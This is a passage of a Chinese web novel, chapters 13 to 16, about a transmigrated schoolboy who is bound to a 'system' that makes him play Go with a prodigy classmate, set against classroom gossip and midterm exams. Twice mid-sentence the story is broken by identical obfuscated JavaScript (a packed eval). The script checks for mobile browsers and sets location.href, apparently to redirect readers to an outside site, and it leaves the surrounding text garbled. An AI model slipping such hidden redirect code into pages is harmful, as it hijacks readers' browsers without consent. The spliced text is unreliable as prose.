他们表情越淡然,越掩饰不住内心的不安。 尤其是班里交头接耳,暗自揣测的眼神,都足够让他们羞愧。 升旗散场后,年纪组长让苏陌留了下来。 “苏陌,你怎么擅自改了稿子的内容。” 苏陌无辜抬眼,露出一丝青涩又认真的劲儿,“难道我讲的不好吗?” “额...”年级组长下意识就想说好,但理智还是占据了上风,“这不是好不好的问题,你事先不跟我说也就算了,怎么还当众点同学的名。” 微风吹过苏陌额前几缕软发,他淡笑,“背后诋毁人,就该受到惩罚,况且我已经收敛了。” 他有些遗憾的皱眉,像是遗憾,遗憾不知道其他几个人的名字。 年纪组长其实也就是说他两句,并不会真的责骂他。 苏陌作为学校各方面的招牌,样样拿的出手,更别说他的背景了。 “老师,我要回去上课了。” 男人无奈摆了摆手,“去吧。” 回班级的路上,纪辰新一路都在走神,以至于肖椿跟他说话都没听到。 “真是恶人有恶报,这个范智就像阴沟里的老鼠,其实班上不少人被他诋毁过,只不过大家没抓到过证据,这还是第一次有人当面讲出来。” “真是大快人心啊,常在河边走,哪有不湿鞋,哈哈哈哈。” “不得不说,苏陌就是猛。” “你说呢,小新?” “纪辰新?” 纪辰新陡然回神,“啊?” 肖椿蹙眉瞅他,“你想什么呢?” 纪辰新摇了摇头,“没什么。” 回到教室的范智忍受着众人在他身上溜来溜去的目光,就像吞了苍蝇一样难受。 即便大家没有对他指指点点,但时不时眯着眼撇嘴发出的笑声,更叫他难堪。 他下意识想寻求庇护,环顾一周却发现往日跟他走的近的那些同学都在躲避他。 就连班长,也用眼神警告遏令他别靠近。 范智此刻真真正正的感受到了什么叫孤立无援。 但是,凭什么? 明明他们都参与了,凭什么只有他被点名,只有他被孤立? 那些毫不掩饰的打量与恶意,让他喘不过气,他忍受不了阴冷的恶意,他要他们一起陪葬! 所以当纪辰新踏入教室的那刻,就听到范智发了疯似的抓狂,“黄威、邓学良、吴越,你们躲什么,敢说不敢当了吗?” 这几人猝不及防被点名,下意识便是否认。 “你是狗吗,怎么乱咬人。” “我听不懂你在说什么。” “我平时虽然经常和你一块儿玩,但从未做过背后说人坏话的事,你别乱说。” 见他们不承认,范智急了,他直直看向纪辰新,捅破了道,“我乱说?早上厕所里,黄威你自己亲口说的,纪辰新不配当英语课代表,还有隔壁班知道他英语考6分的事,难道不是你散布出去的吗?” 黄威被戳穿,一抬头见所有人的视线都汇聚到了他这,更不敢承认了,“你不要血口喷人,我没说,也没做过这种事。” 范智,范智,此刻已经失了智,他看着不敢与他对视的几人,突然笑了,发起了群起攻击。 “还有你,邓学良,你嘲笑纪辰新考试都是乱写的,平时啥也不会。” “吴越,你更是断定纪辰新这段时间被老师夸奖的作业都是抄的。” 这俩被拆穿后,与黄威的反应不同,他们瞬间暴怒,口不择言。 “好意思说我们?还不是你,你自己看不惯纪辰新,就想取而代之,你仗着自己出国过一两次,恨班主任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074305|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让你当英语课代表。” “你自己想法阴暗,自己不平衡,还撺掇我们等纪辰新期中考砸,让他卸任。” “你还一直在班长身旁吹耳边风,撺掇他......” “够了,闭嘴!”班长周卢振见形势不对,紧急喊停,再说下去,他自己都要说不清了。 他从小严于律己,懂得祸从口出,所以平时谨言慎行,就怕被用心人利用,此刻他无比感谢自己多年来的坚持。 不然现在被当众揭露的人里,恐怕也有他! “你们现在,立刻,马上给纪辰新本人道歉!”周卢振发话了。 纪辰新站在讲台边上,此刻所有人的视线都落在了他身上,就连隔壁班的也都围在门口窗户等地看笑话。 “还不快?在等什么?”周卢振作为班长威信还是有的,霎时所有人都噤若寒蝉。 范智咬了咬唇,反正他的目的达到了,丢脸的不是他一个人了,于是他率先说了对不起。 其余几人默默对视一眼,最终也不情不愿地道了歉。 但,谁说的,道了歉就该原谅? 这点,肖椿首先就不答应,只见他不满地“哼”了声,紧接着同仇敌忾般的与纪辰新站在了一起,“太小声了,别说我兄弟了,我都没听见!” “你们听到了吗?” 他这一起哄,其他早就看不惯范智小人行径的人便附和道,“确实太小声了。” “是啊,没吃饭吗,背后说人坏话的时候不是挺有劲吗!” 周卢振再次做主,“你们几个大声点。” 有一就有二。 这次,那三人诚恳了不少,异口同声道,“纪辰新,对不起。” 范智见自己被抢了先,不甘示弱,于是鞠了一躬,“纪辰新,对不起!” 几人说完,自觉面子已经掉成了豆腐渣,目光希冀地看向班长,就等他发话,让这件事过去。 然而,此时又有人站了出来,这事明显没完! 这次,说话的是熊宽,只见他伸了伸懒腰,颇有些打抱不平道,“说对不起有用的话,还要警察干嘛?” “那我是不是打了人,说句对不起就行了?” 纪辰新听到这,蹙眉惊诧,一时之间都怀疑他是不是意有所指。 熊宽能有什么坏心眼? 只不过是淋过雨,也要撕碎别人的伞罢了。 “就是,就是。”孙觉紧急附和,“这事不能就这么算了!” 任谁也想不到,此时此刻如此维护他的会是往日里欺负他最狠的两个人。 周卢振也无奈了,他道,“那你们觉得应该如何?” 熊宽侧目,看向纪辰新,“该如何,得由他决定,毕竟他才是受害人。” 熊宽将选择权交给了纪辰新,他眸中划过细碎的光,全是不甘,他巴不得纪辰新将几人挨个往墙上都撞一遍,这样他心里才能平衡。 也就是此刻,所有人才意识到,这场闹剧的受害者,纪辰新好像一直都没说过一句话。 周卢振:“纪辰新,你觉得应该如何?” 纪辰新眸光闪了闪,他意兴阑珊地看向几人,真是没想到报应来的这么快,快到他都来不及实施自己的计划。 不过,苏陌这一招明谋,倒也让他省去了不少时间。 他粲然笑了一下,有些晃眼,想起苏陌的话,勾唇道,“班长,要不就按班规处置吧。” 班规? 班规里面到底写什么啊? 其他人一头雾水。 周卢振若有所思道,“违纪劳动教育,你们四个从今天起,打扫一个月的班级卫生,包括走廊的男厕所。” “噗嗤。” “哈哈哈哈哈哈。” “真的假的啊,今天轮到我打扫卫生了,我这就解放了?” “哇,我喜欢这个惩罚。” “我也!!!” “我现在合理怀疑,苏陌也不想打扫厕所,因为这个月本来要轮到他们班打扫了,而班规一开始是由苏陌制定的,后面各班照搬,哈哈哈。” 熊宽听到这个结果,显然不满意,“纪辰新,你要是嫌麻烦,我帮你弄他们!” 他摩拳擦掌,语气里尽是恨铁不成钢。 “嗯呐,嗯呐。”孙觉还在附和。 范智几人见熊宽看他们的眼神眼冒绿光,狠狠咽了下口水,哆嗦的不行,“你..你..你不能弄我们,纪辰新已经发话了,按班规处置。” “你说对吧,纪辰新!” 他们脸上全是不加掩饰的讨好。 纪辰新挑眉,撑着下巴无辜道,“啊,什么?班规之外,若是熊宽有私人恩怨,我也是管不着的。” “你说对吧,熊宽!” 14. 第 14 章 放学时分,纪辰新刚出教室就见苏陌在走廊边候着,他站在夕阳里,身形清瘦,周身气场弥漫着一种不易靠近的清冽气息,他似乎在等人。 至于等谁,不言而喻。 纪辰新一出现,苏陌的目光就自动锁定了他。 除此之外,张森几人也在。 这三人与苏陌在一个班,所以平时基本同进同出。 叶希希一如既往跟在苏陌后面献殷勤,“苏陌哥哥,快看,纪辰新出来了。” 纪辰新几乎已经猜到苏陌要找他干嘛了,这位围棋天才,除了找他下棋,他想不到其他。 算了,看在今天他为自己出头的份上,他愿舍命陪君子,下他个痛快! 他移步走了过去,周围不少人的目光汇聚了过来,仿佛在看稀奇的一幕。 “苏陌是在等纪辰新?” “看着像,他这阵子经常在我们班附近出没,以前不这样的。” “那也不一定是因为纪辰新啊。” “那能因为谁?” “快看,纪辰新走过去了,还聊了起来。” “所以,苏陌是真的在等他。” “他俩什么时候这么熟的?” “有没有可能,今天早晨苏陌演讲那番话,是为纪辰新打抱不平!” “哇,我怎么没想到这一层。” 纪辰新拎着书包走到了苏陌跟前,然后偏了下头道,“今早的事,多谢你了。” 苏陌眉目疏朗,眼瞳如深潭的墨色,开门见山道,“你带棋了吗?” “啧,我就知道!带了,就你送我那副,你想在哪下?”纪辰新嘴角微勾,“今天你想下几局,就下几局,我保证奉陪到底。” 叶希希惊讶地捂住了嘴,“送?送什么了?” 叶子岚合理推测,“听着...好像是陌哥很宝贵的那副棋子棋盘。” “啊,不可能,不可能,绝对不可能。”张森死都不愿相信,平日里陌哥碰都不让他们碰。 苏陌单手插兜,率先转身,“行,老地方,操场。” 纪辰新微微扬眉,心情不错的跟了过去。 几分钟后,几人再次来到了操场。 苏陌摸到棋的第一时间便是将前日他们所下的棋局默了出来。 纪辰新已经习以为常。 只见他眸光沉沉,睫毛垂下投下淡淡阴影,全神贯注地凝视手底下的棋盘。 苏陌对围棋的态度几乎是虔诚的,甚至不容任何人玷污。 纪辰新其实有些不理解,【系统,真有人这么热爱围棋吗?】 系统:【宿主,你怎么会这么问,你面前这个不就是活生生的例子吗?】 【你穿的这本书叫《围棋圣手》,男主苏陌一生都在追逐棋力,围棋是他的一切,你质疑谁,都不能质疑他。】 纪辰新不由有了一丝好奇,【既然他这么热爱围棋,最后又怎么会选择自杀,就像你说的,他一生都在与围棋打交道,那他最后成了圣手,应该开心快活才是,毕竟这世间他已经无敌了。】 系统沉默了好一会儿,像是在思考,又像是在斟酌如何回答。 【视围棋为一切的人,终于站上巅峰,放眼望去,再无一人能与他匹敌,应该很孤寂吧。】 【所以啊,宿主,他需要你。】 纪辰新讪笑,【算了吧,别开玩笑了。】 系统:【必须非你莫属。】 苏陌将棋局摆好后,落子非常果断,似乎为这步棋准备了很久。 “纪辰新,该你了。” 纪辰新望着棋盘,黑白相间的棋子,就如同浩瀚的星辰,深邃又神秘,而他却看不懂。 他抬眼,神色有些恍惚地看向苏陌,不难猜到,苏陌究竟花了多长时间,每日不停的复盘,苦心研究该如何打败他。 纪辰新难得的升起了一丝莫名的情绪,愧疚里面藏着心虚。 系统还在加载棋局,花了仅仅两三秒的时间,就有了答案。 【别急,网速调整之后起飞,五之三。】 纪辰新晃了晃头,将不合时宜地想法抛了出去,他只要乖乖完成任务就好了,其他的都不重要! 调整好心态后,纪辰新恢复了往日的状态。 俩人你来我往,一时之间难分伯仲。 张森几人习惯性蹲守一旁。 “陌哥这次能赢吗?” “有点悬。” “希望苏陌哥哥能如愿打败他。” “唉,但愿吧。” “你们快看天,黑的好快啊。” “什么黑的好快,那明明是乌云。” “啊,那是不是要下雨了?” “不是要下,是已经下了。” 黄豆大小的雨滴“啪嗒”一声落到了棋局之上,纪辰新眨巴眨巴眼,一抬头,眼睛里也未能幸免,微微湿润。 他揉了揉眼,打断对面的苏陌落子,“下雨了,先别下了,我们换个地方吧。” 话刚落,纪辰新就眼睁睁看着苏陌从包里拿了两把伞出来,“没事,我早有准备,我们一人一把。” “.......”纪辰新无法形容自己的愕然,他瞪大眼睛看他,“神经吧。” 一人撑一把伞,盘腿坐在操场上下棋真的很离谱好不好,纪辰新根本不敢想这个画面。 张森抹了一把头上的雨水,急切道: “我们怎么办?” “子岚你带伞了吗?” 叶子岚摇头,“没有,我从不带伞。” “啊,我头发湿了。”叶希希摸着自己辫子惊呼一声。 苏陌抬眼轻瞥几人,“你们先回去吧,不用管我。” 张森犹疑了一下,便招呼叶家兄妹俩走,毕竟淋湿就不好玩了。 然而叶希希不舍的挪步。 叶子岚知道妹妹对苏陌的崇拜,提前让她离开肯定不愿,便提议道,“要不,我们去教学楼等雨停?” “对啊,咱们先去躲雨,等下完雨再过来。”张森顺势劝道。 叶希希知道一时也没有更好的办法,只能不情愿地点头,“那好吧。” 三人走后,偌大个操场,只剩下两个一手举伞,一手下棋的奇葩。 纪辰新如坐针毡,只觉得自己脑子有坑,居然答应了这么匪夷所思的要求。 他不停安慰自己,就当还苏陌早上为自己出头的人情了,忍一忍就过去了。 对面的苏陌一心沉浸在棋局里,已经浑然忘我。 狂风骤起,眼看雨下的越来越大,纪辰新突然感觉屁股湿哒哒的,他猛然起身,一摸,屁股上都是雨水! 草,他都忘了,即便打了伞,但是雨水落在地上,是会流过来啊! 他下意识往苏陌的下盘看去,却见他垫了本书在下面。 “你丫的,什么时候垫的?”纪辰新炸了,霎时有种被背叛的感觉! 苏陌顺着他的视线往下,“我不习惯直接坐地上,所以一般都会垫本书。” 他目光似有若无地瞟了眼纪辰新湿掉的地方,“一看你平时习惯就不好,我还有书,你要垫吗?” “.......”纪辰新盯着他,心如死灰,“你最好不是在嘲讽。” 面上如何平静,内里就有多抓狂。 纪辰新:【啊啊啊啊,系统,赶紧的,拿出那种一击致命的招数,让这局结束!】 系统表示无奈:【额,没有,下棋没有捷径,得一步一步,脚踏实地。】 最终,纪辰新没有拿书垫,因为没必要了,裤里裤外都湿了。 他蹲在棋盘前,没一会儿就双腿发软,只能站起来,试探道,“要不然,我们停一停,收拾一下,明天再下?” 他连回教室下棋,这种鬼话都说不出了。 内裤浸了水紧紧贴在肉上,这种非一般的感觉如同凌迟。 苏陌从下往上看他,“你之前还说随我下几局,都奉 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苏陌眸色幽深,内里不知隐藏了什么情绪,几乎笃定,“纪辰新,你在乱下。” 被戳穿的第一反应,纪辰新当然是否定,“我没有。” “没有吗,再落一子,你就输了。”苏陌睨着他,像是在辨认什么。 “这局输了就是输了,剩下的我们以后再切磋呗。”纪辰新觉得没什么大不了的。 苏陌垂眸,他记忆力超好,将纪辰新乱下的那些棋,全部都捡了起来,没一会儿就复原了之前的棋局,“你没输,刚刚那些不算,你从这开始重新下。” 纪辰新第一次见这样的操作,输都不能输了?谁来管管啊? 苏陌神色带着不属于这个年纪的沉静:“我知道你的水平不是这样的,纪辰新你认真点!” 纪辰新感到前所未有的命苦,他直接竖起大拇指,“求求了,菩萨,放过我行吗,我的水平就这样,我认输,你是这个,我是垃圾。” 说着,他还一把将面前的棋局扰乱,“今天就到此为止吧,我要回家了。” 看着已经混乱不堪的棋局,苏陌执拗地抿着唇,上前一步抓住纪辰新的手,“不行,你不能走,再来一局!” 远处教学楼,不明所以的张森几人,还在等雨停。 叶希希指着操场担忧道,“他们怎么了,怎么动起手来了?” “不会吧,看着也不像啊。”叶子岚揉了揉妹妹的脑袋,“别胡乱猜测了。” 下一秒张森惊掉了下巴,“好像真的动手了。” 他们的视线里,先是纪辰新先一把将棋盘掀翻,苏陌紧随其后抓住他的手臂。 但是俩人都打着伞,他们看不见俩人是何表情。 “你们看,纪辰新跑了。” “咦,我陌哥在后面追呢。” “哇,雨中狂奔。” “这叫雨中嬉戏好吧。” “感觉有点浪漫是怎么回事。” 纪辰新要是知道那几人在想什么,他一定会骂,“浪漫你个大头鬼。” 【系统,我丫真是倒了八辈子血霉才会绑定你,然后拯救他,我看他一点都不需要拯救,该被拯救的人是我才对。】 “救命啊,逼人下棋啦,要逼死人啦!” “我的天啊,苍天啊,谁来救救我?” “苏陌,你他么就不是人!” 苏陌在后面气喘吁吁,“你别跑了,说了只下最后一局,结果你还把对局毁了,明明就是你的错!” 远处,张森拿了个棒棒糖在舔,“他们好像在说什么。” 叶子岚搭着他的肩膀,默默点头,“嗯....就是有些听不清。” 叶希希撑着脑袋,一脸向往,“他们看起来玩的好开心啊,我们能加入吗?” 15. 第 15 章 自那日后,纪辰新躲了苏陌一周,短时间内说什么也不愿跟他下棋了,就算系统劝也没用。 至于那个三天不下棋就会死的程序,也让纪辰新找到了bug。 系统又没说不能自己跟自己下啊,他自己乱下一通也是下。 于是,纪辰新终于又过上了他无忧无虑的校园生活。 其中,期中考试也如期而至。 虽然上次范智等人说的话已经没人敢再提,但或多或少,还是在不少人的心中留了一丝痕迹。 如若此次纪辰新真的考的很差劲,估计众人面上不说什么,心底还是会有意见。 毕竟没有实力的人是很难得到真正的认可和尊重的。 * 四年级总共三个班,考试当天采用打乱的方式进行考试的。 纪辰新被分配的考室恰好在一班,更巧合的是苏陌居然没被分配出去,就这样,俩人在一间教室相遇了。 两个人的位置都靠墙,但苏陌是挨着门这边的墙,纪辰新则是门对面那扇墙,中间隔了一整个教室,位置离得相当远。 纪辰新见到苏陌的第一眼就在努力降低自己的存在感,就怕他过来找他下棋。 然而,这次他失算了,苏陌仅仅与他对视了一眼后便当不认识他般,移开了眼。 纪辰新放下心的同时,还是有些纳闷的,但考试迫在眉睫,也就没去深究。 第一场考的是语文,纪辰新全部写完,只花了四十五分钟,他正打算提前交卷,就见苏陌比他先一步起身。 苏陌目不斜视,将卷子交完就直接出去了。 此刻,纪辰新却犹疑了,到底出不出去呢,这丫的不会就在外面候着,专门等他吧? 系统:【宿主,你已经七天没和男主下棋了,甚至还一直躲着他,我记得最开始是你先违约的。】 说到这个,纪辰新就来气:【我违什么约了,是他逼我,我都说不想下了,他还追,我都被他搞怕了。】 系统:【可是那天是他帮你出头,然后你说答应陪他下棋,还说不管多少局,奉陪到底的,结果你一局都没下完,这些难道你都忘了?】 确实自己做的也不地道,纪辰新含含糊糊道,【那天不是下雨吗,谁家正常人下雨不知道往家跑的。】 【就这么说吧,他就不是正常人。】 系统:【......早就跟你说过,男主对围棋是相当执着的,忘我时,不下到最后分胜负,便不能随意中止,何况你还是以那种方式中止。】 纪辰新蹙眉,【我也是迫不得已,当时只想早点结束。】 【你乱下,他都看出来了,甚至给你机会,帮你找借口,棋都复原了,你还是不愿意。】系统细数他的罪状。 【当时只要把那局下完就行了,顶多七八分钟而已,你却根本没耐心。】 纪辰新后知后觉自己做的是有点过了,但他依旧有话要说,【我那是裤子湿了,你都不知道有多难受。】 【况且,我又不知道什么时候才能结束,你说要脚踏实地,一步一步来,那到底要等多久。】 【难道他就没有错吗,一点都不友爱同学。】 系统顿了顿道:【…他最大的错就是太执着,太极端,甚至为了围棋最后都....】 闻言,纪辰新沉默了一会儿,似乎想通了什么。 他确实不能将男主以正常人来看待,只要对上围棋,就变得偏执似乎是他的本性,或者是他的设定? 他也不清楚,暂且不计。 最终,纪辰新还是提前交了卷出去。 他以为,苏陌会在外面等他,然而,外面根本就没人。 苏陌去哪了? 系统不知道,纪辰新也不知道。 他试着去找了,却没发现踪迹。 直到....数学考试的前一分钟,苏陌踏入了考室。 纪辰新想说什么,但监考老师却进来了,下一堂考试即将开始。 数学似乎是苏陌擅长的科目,他比写语文卷子时,还要快上几分钟。 不过,这次纪辰新紧随其后,几乎与他同时交了卷。 然而下一秒,他却被考官提醒,“这位同学,你还有一个题没做,确定要交卷吗?” 纪辰新懵了,讶然地低头看向试卷,才发现居然有个题躲在第五页的背后,稍不注意就能看漏了去。 试卷刺客? 如此,苏陌也没回头看一眼,直接出去了。 考官就此提醒了所有考生,“第五页后面还有一个题,大家注意一下,别漏了。” “哗”地一声,不少人惊呼,看来不止他没看到。 那....苏陌...? 系统:【放心,男主不会犯这种低级错误。】 纪辰新:【......】 十分钟后,纪辰新再次交了卷,这下他是完完整整的将题全部检查了一遍,以防还有看漏的。 然而,这次出去后,还是没见到苏陌。 系统:【中午了,他或许回去吃饭了吧,下午考英语,放学后再找他呗。】 纪辰新没法只能去食堂打饭。 吃完难以下咽的饭菜,纪辰新简单吃了半碗。 他吐槽:【这都没我奶奶做的十分之一好,他们根本舍不得放油。】 “纪辰新。”有人喊他,纪辰新回头一看,是肖椿。 “怎么了?”纪辰新应声,肖椿端着饭菜吃的满足,“你今天考的怎么样?” 纪辰新懒懒道,“还行吧。” 肖椿郁闷了一下,“数学最后那个大题你做了吗?” 纪辰新挑眉,“你不会看漏题了吧。” “那倒没有,谁会犯这种错。”肖椿塞了口饭进嘴里,“我就是不会做,听说班里没几个人做出来。” 纪辰新顿了顿,似在回忆,“很难吗?” “你答出来了?”肖椿觉出什么,睁大眼睛看他。 纪辰新愣神,“好像是-2。” “啊,你和班长和学委的答案都不一样,也不知道谁对谁错。”肖椿将最后一口吃完,询问道,“方便将你这几周的英语作文借我看看吗,你知道的,我英语不太好,特别是作文。” “我想临时抱抱佛脚。” 纪辰新点头,“行,吃完饭,我拿给你。” * 跟数学考试一样,英语考前一分钟,苏陌才进入教室。 纪辰新看着他落座,然而不假思索握笔开始填写班级姓名。 广播里出现了声音,要播放听力。 纪辰新便也收回心神,开始专心致志听对话。 十到十五分钟的听力结束时,场上不少人还是懵逼的状态。 纪辰新这次加快了写卷子的速度,他得心应手的填完选择题,余光不由瞥了眼远处的苏陌。 这次他一定要比他先写完,然后在外面堵他。 结果这回,他又失算了,等他早早交了卷,苏陌直到考试结束,打了铃才堪堪出来。 纪辰新合理怀疑他就是故意的! 考室外人来人往,考完试后的欢欣鼓舞萦绕在每一个人的心头,紧张了一天的心终于放下来。 苏陌出来后,神色冷冷淡淡,他手提着书包,直直往校外走去。 纪辰新一直在教室外蹲他,见他就这么走了,抬腿就跟了上去。 只见他猛然拦住苏陌,“我有话跟你说。” 苏陌终于正眼看他,他抬眼时目光静的像未起波澜的湖,没有温度,“我跟你没什么好说的。” 嘿,脾气还挺大。 纪辰新一把扯住他的手臂,“走,今天必须说清楚。” 苏陌也不挣脱,任他拉着,没人看到他嘴角一闪而过的弧度。 俩人再次来到了空旷的操场上。 结果面对面时,纪辰新一时不知该从何说起。 苏陌一直在等着他开口,见他没反应,转身又要走。 纪辰新赶紧拦着他,“欸,我话还没说完呢,你去哪。” 苏陌转头好整以暇地看着他,他唇线清晰,唇色偏淡,目光冷冷的,“你到底想跟我说什么。” “那个....就是...上次那事....对不起。”他含混不清快速道,若是听力不好的,压根不知道他说了什么。 苏陌眸光微闪,微风轻拂他的碎发,脸庞干净又疏离,“什么?” 纪辰新深吸一口气,眼睛也不看他,再次道,“我说对不起。” 这次口齿清楚多了。 只是现场陷入了沉默,诡异般的沉默,长久的沉默。 久到...纪辰新不由侧目看他,苏陌似是在消化这句话。 气氛略略尴尬,纪辰新忍不住道,“你干嘛不说话,我都道歉了。” 苏陌眨了眨眼,好奇且不解地看着他,“我以为你是来找我下棋的。” 纪辰新:“.......”? “为什么要和我道歉?”苏陌突然收起刚刚无所谓的神色,朝他靠近一步。 纪辰新抿了抿唇,他完全没想到苏陌会这么问。 “就那局没下完我就跑了,还躲你...难道...你觉得上次的事我做的没错?” 苏陌深深注视他,敛了敛眉,“你做错了什么?倒是我,你明明裤子被雨水浸湿了,我却还拉着你下棋,怎么都是我冒犯了。”即便当时以他的角度看起来没湿什么,但他知道这不是借口。 “想来...后来你躲着我,也情有可原,毕竟我当时只顾着下棋,没有第一时间察觉并顾及到你的状况。”他一向了解自己,下起兴了,便不管不顾,甚至一心要下到最后。 然而从前从未有哪一次对弈如上次那般这样结束,令他心慌。 棋没下成就算了,想结交的朋友好像也被他偏执的样子吓跑了,以至于他后来思考了好久,难道围棋重要到可以不要朋友了吗。 “其实,这几天我是有些担心的。” 这个发展,纪辰新脑子有点懵,“担心什么?” “担心你以后再也不和我下棋了。”还担心你从此变得讨厌我。 隐晦的情绪,苏陌眸光沉沉,后面那句他没说。 纪辰新说不出此刻是什么感受,心情就好像坐过山车一样,找不到支撑点。 苏陌居然...会反思自己? 那么....呵呵,别怪他得寸进尺。 确认了这点的纪辰新,瞬间就摆起了谱,他傲娇般地清了清喉咙,“你的担心…那当然是有可能啊,不过...只要你以后不逼我下棋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074307|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要总动不动来缠着我,偶尔,我还是可以满足你想与我对弈的愿望的。” 苏陌将他的得意看在眼里。 在人际交往中,有这么一句话,最先暴露需求的一方,会陷入被动。 反观棋局对弈时,这个道理依旧管用,率先暴露弱点的一方,会被围猎绞杀,甚至一击毙命。 棋如人生,苏陌不可能不懂,但他愿意陷入被动,因为棋要下,人他也还是要缠着的,毕竟纪辰新是他长这么大见过的最对胃口的朋友了。 他望着纪辰新的目光颤了颤,突然笑了,“纪辰新,我以后不会再逼你,也不会终日缠着你下棋了。” 咦,他怎么突然这么说? “因为,我能看出来,你不喜欢围棋。” 纪辰新心头一跳,他想说点反驳的话,却发现根本说不出口。 是的,他不喜欢围棋,要不是因为这个任务,他压根就不会接触围棋。 就比如上次,他强迫自己看了三个小时这方面的书,也只是看了,平平淡淡且无感。 “真正喜欢围棋的人,他们看棋子的眼神是有光的,而你没有。” 苏陌阐述着。 “还记得我们第一次来操场下棋吗,那时候我说你不尊重围棋,你却反驳说最喜欢的就是围棋。” “你不知道你当时有多奇怪和矛盾,明明不喜欢却硬着头皮说喜欢。” “然而,你又让人很苦恼,即便不喜欢,天赋却那么好。” “我不喜欢强人所难,所以你不想下,以后便不找你下了。” 纪辰新听着听着,都有些感动了,苏陌居然这么了解他,还把他看的这么透彻。 俗话说的果然没错,世界上最了解你的人是你的对手! 只是,他正感动着,最后一句是什么鬼啊? 什么叫不找他下了? 怎么能不找他下了呢! 不找他下,任务怎么办? 不要这么善解人意好不好,他不需要! 系统:【检测到任务进度再次偏离.....】 纪辰新霎时心脏一紧:【慢慢慢慢着,系统,给个机会,我救一下!】 “苏陌!你不要胡乱揣测我,我虽然,确实不喜欢围棋,但是不妨碍我想和你下棋啊。” 苏陌神色莫名:“你要不要听听你在说什么。”又说矛盾的话,就像他这个人一样,充满了矛盾。 纪辰新深吸一口气,他不知道怎么圆了。 系统:【宿主,再说谎言是会被拆穿的,苏陌太机敏了。】 是啊,谎言会被拆穿,那说点真话呢? 纪辰新再次开口,“苏陌,上次的事,你有错,我也有错,我们就不计较谁错的更多了好不好。” 他漆黑的瞳孔没有一丝杂质地凝着苏陌,“让这件事过去吧,我会履行我的承诺,你也别再说不来找我下棋这种话了。” “我是不喜欢围棋,但围棋在我生命中很重要,我离不开它,却又无法解释,不知道你明不明白。” 苏陌沉默着。 纪辰新继续道,“以后你随时可以来找我下棋,我保证不躲你了,要是再躲你我就是小狗。” 说这话时,既违心也真心,他突然发觉自己确实很矛盾。 只是,“真的?”霎时间,苏陌的眸光亮了起来。 “当然是真的。”纪辰新见状,就知道有戏,连忙稳住他。 “好,那就一言为定,立个字据吧。”苏陌从书包里拿了个本子出来,认真道,“白纸黑字,你将你刚刚承诺的写上。” 纪辰新总感觉哪里不对,但对上苏陌期待和催促的眼神,还是签下了。 最后,苏陌拿起这张写有围棋又签有纪辰新名字的字据看了许久,瞳色不易察觉的泛着光,“来吧,我们今天接着把上次没下完的棋下完。” 根本不等纪辰新反应,他就从书包里拿了一副新的棋子棋盘出来,跟之前送纪辰新的那副一摸一样。 纪辰新有些愣神地看着他重新将上次的棋局默了出来。 【系统,我怎么感觉哪里不对劲?】 【我好像稀里糊涂就答应了他随时可以来找我下棋,还不能躲着他的承诺?】 【我怎么记得最开始,我要求的是不能逼我下棋,然后我才满足他想要对弈的愿望来着?】 系统:【额....有没有可能一开始他就看穿了你的想法?】 ??? 怎么可能?! 纪辰新终于晃过神来:【所以他看穿之后,选择以退为进?】 【真是阴险狡诈!】 系统:【他深谙棋局,自然颇有谋划,宿主,你不懂下棋,反应没他快也正常啦。】 【.....死系统,你到底是在夸他还是损我?】纪辰新抓狂。 【不过…】系统还想说什么,纪辰新直接打断施法,【Stop!快闭嘴吧你。】 系统咿咿呀呀的:【呜呜呜呜呜~】 纪辰新鸡皮疙瘩起一身,【作甚?】 系统:【我在学你们人类闭嘴(⊙x⊙)呀。】 “....” 然而,系统没说完的话是,宿主,你难道没发现吗,苏陌那一心只装的下围棋的世界,你硬是挤了一点进去。 16. 第 16 章 期中考试的成绩,在第二天中午所有老师便已批阅完成了。 得到消息的同学们,或喜或忧。 “那是不是今天下午就会公布成绩和排名啊?” “哇,我不要,我爸妈非得打死我不可。” “听说这次数学的最后一大题,全年级只有两个人做出来。” “你这消息哪来的,靠谱吗?” “就办公室老师在谈论,我躲外面偷听到的。” “只有两个人,估计苏陌是其中一个吧,还有一个会是谁。” “不知道,没听到。” 班里叽叽喳喳的讨论声里,还有一群事不关己,只知道玩闹的学渣们在玩着弹珠。 “到你了,到你了。” 纪辰新也在其中,好久没玩过这类游戏,就是弹的手有点疼。 “斯...哈...”纪辰新将中指递嘴边吹了口气,“好运来!” “哇,牛逼!” “不愧是我新哥,劲就是大!” “哈哈哈哈哈,一般一般世界第三!” “叮铃铃铃铃...”铃声响了,几人意犹未尽的收起弹珠,坐在最后排的小胖子笑嘻嘻道,“等会儿下课再来!” 与此同时,班主任杨羽抱着一摞英语卷子走了进来。 在她的威严之下,所有人都瞬间安静了下来。 杨羽站在讲台上,语重心长道,“期中考试的试卷已经批改完了,我们班这次有人进步很大,有人退步的厉害。” “而且一百分的卷子,有人居然拿了0分。” 此话一出,众人哗然。 “谁啊,这么6,蒙都能蒙对几个吧。” “千万不要是我,我已经很努力在答了。” “应该也不会是我,虽然不会的我都点兵点将点出来的,但我记得有两个题,我是会做的。” “.......” 杨羽顿了顿道,“接下来发试卷,念到名字的上来拿。” 这话又引起一阵交头接耳。 “啊啊啊啊,不要啊,救命。” “看来今天又是要丢脸的一天。” “哈哈哈哈,我倒是很期待那个零分是谁。” 杨羽:“范智,69。” “易敏,57。” “刘斌斌,46。” “肖卢振95。” 